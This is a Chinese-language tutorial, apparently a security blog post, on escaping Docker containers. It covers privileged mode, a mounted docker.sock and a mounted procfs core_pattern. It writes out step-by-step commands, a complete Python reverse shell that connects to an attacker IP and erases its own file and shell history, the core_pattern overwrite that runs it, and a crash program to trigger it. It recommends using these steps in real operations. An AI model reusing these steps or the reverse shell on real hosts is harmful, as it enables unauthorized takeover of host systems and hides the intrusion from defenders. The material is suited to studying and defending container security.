云上攻防—Docker安全容器逃逸特权模式危险挂载
前言
之前分享的是云服务安全,今天开始云原生安全,安全道路依旧很长。
什么是Docker呢,它是开源的容器化平台,用于开发、部署和运行应用程序。它通过将应用程序及其依赖项打包在轻量级的容器中,实现环境一致性、快速部署和资源高效利用这玩意类似虚拟机,是一个虚拟化技术。我们在VM中使用的虚拟机其实基于物理硬件开辟的,而容器是基于我们操作系统内核来开辟的。这样就表面了容器要比虚拟机更加轻量,对CPU和内存等条件要求更低。
就好比如我自己的电脑开4台以上虚拟机就卡死了,容器随便开都行,而且容器无论是部署还是操作都很方便,我们本地按照mysql啥的,又要配置东西,又要按照环境,而容器只需拉取镜像就行。
Docker安全
来到官网我们可以看到有非常多的容器镜像,有一些是官方发布的,也有一些是用户自己打包上传的。这就引出了一个安全问题,有一些人会在容器里面留下后门,当时运行的容器的时候,后门也会被运行,这是早期容器刚出来的现象。假如我们好不容易拿到的shell,却发现是在容器里面,那该咋办,今天讲两种方法实现容器逃逸。
特权模式
当我们运行一个容器时,如果它权限过大的话,那么就可以进行逃逸,我们以特权模式启动 alpine 容器。
docker run --rm --privileged=true -it alpine
这里要顺便说一下,如何判断自己是否在容器中,常用的有三种。
查询cgroup信息,不知为啥我这里啥也没有。
cat /proc/1/cgroup
检查/.dockerenv文件,通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
ls -alh /.dockerenv
还有一个是检查mount信息,利用mount查看挂载磁盘是否存在docker相关信息。
mount
更多判断方法可以看这篇文章。
如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客
首先检查是否为特权模式运行的容器,如果是特权模式启动的话,CapEff 对应的掩码值应该为0000003ffffffff或者0000001fffffffff。
cat /proc/self/status | grep CapEff
先创建一个目录。
mkdir /test
执行下面的命令将存储设备 /dev/sda1
上的文件系统挂载到目录 /test
上,也就是说我可以通过查看test文件夹来实现对真实系统目录的访问。
mount /dev/sda1 /test
然后我们进入到test目录进行查看,发现里面内容和真实系统一样,成功实现docker逃逸。
后面再往真实的系统文件写入一个反弹shell的计时任务即可拿到shell。
危险挂载
挂载Socket
Docker Socket 用来与守护进程通信即查询信息或者下发命令,类似于网站的功能插件,如果在启动容器的时候挂载了这个功能,那么也会有容器逃逸的安全问题。原理就是,利用容器内对宿主机的 Docker 引擎的直接控制权,创建或操作具备访问宿主机资源能力的新容器/进程,从而突破当前容器的隔离限制。
运行容器 ubuntu 并且挂载socket,如果你没有拉去的话,会自动帮你拉去镜像。
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
接着进入到容器中去。
docker exec -it with_docker_sock /bin/bash
检查是否挂载了Socket。
ls -lah /var/run/docker.sock
这里我们可以试试检查特权模式,很明显不对。
容器里面执行命令,更新apt-get 和安装 curl命令。
apt-get update
apt-get install curl
接着在容器里面再安装 docker。
curl -fsSL https://get.docker.com | sh -s -- --mirror Aliyun
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部,类似套娃,可以看到多了一个host目录。
docker run -it -v /:/host ubuntu /bin/bash
查看host目录下的home目录内容,发现和宿主机的一样,说明成功逃逸。
挂载procfs
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。核心原理是:当容器内挂载了宿主机的 proc 文件系统(/proc)时,攻击者可以通过写入 /proc/sys/kernel/core_pattern 等敏感路径,触发宿主机执行任意命令。
创建一个容器并挂载 /proc 目录。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
进行检查一下,如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。
find / -name core_pattern
找到当前容器在宿主机下的绝对路径,这里我的绝对路径是workdir=/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged,不要后面的work,不然会出错。
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
这里要在容器里面安装一下 vim 和 gcc,因为后续要创建脚本和编译脚本,实战中我推荐本地编译好了上传上去,不然在实际生产环境中安装东西不太现实。
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
接着创建一个反弹shell的脚本。
vim /tmp/.t.py#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()
实战中建议用cat命令写入,因为vim需要有回显的shell才行。
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx" //反弹IP
lport = xxxx //反弹端口
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF
给脚本赋予权限。
写入反弹 shell 到目标的 proc 目录下。
echo -e "|/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
主机上进行监听。
然后在容器里创建一个可以崩溃的程序。
vim t.c
#include<stdio.h>
int main(void) {int *a = NULL;*a = 1;return 0;
}
进行编译,你也可以编译好再上传。
gcc t.c -o t
最后运行程序即可反弹shell,遗憾的是我这里并没有成功,检查了端口也是没问题的,不知道为啥,有懂的师傅可以和我说一下。
总结
以上就是这次的容器逃逸手法啦。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。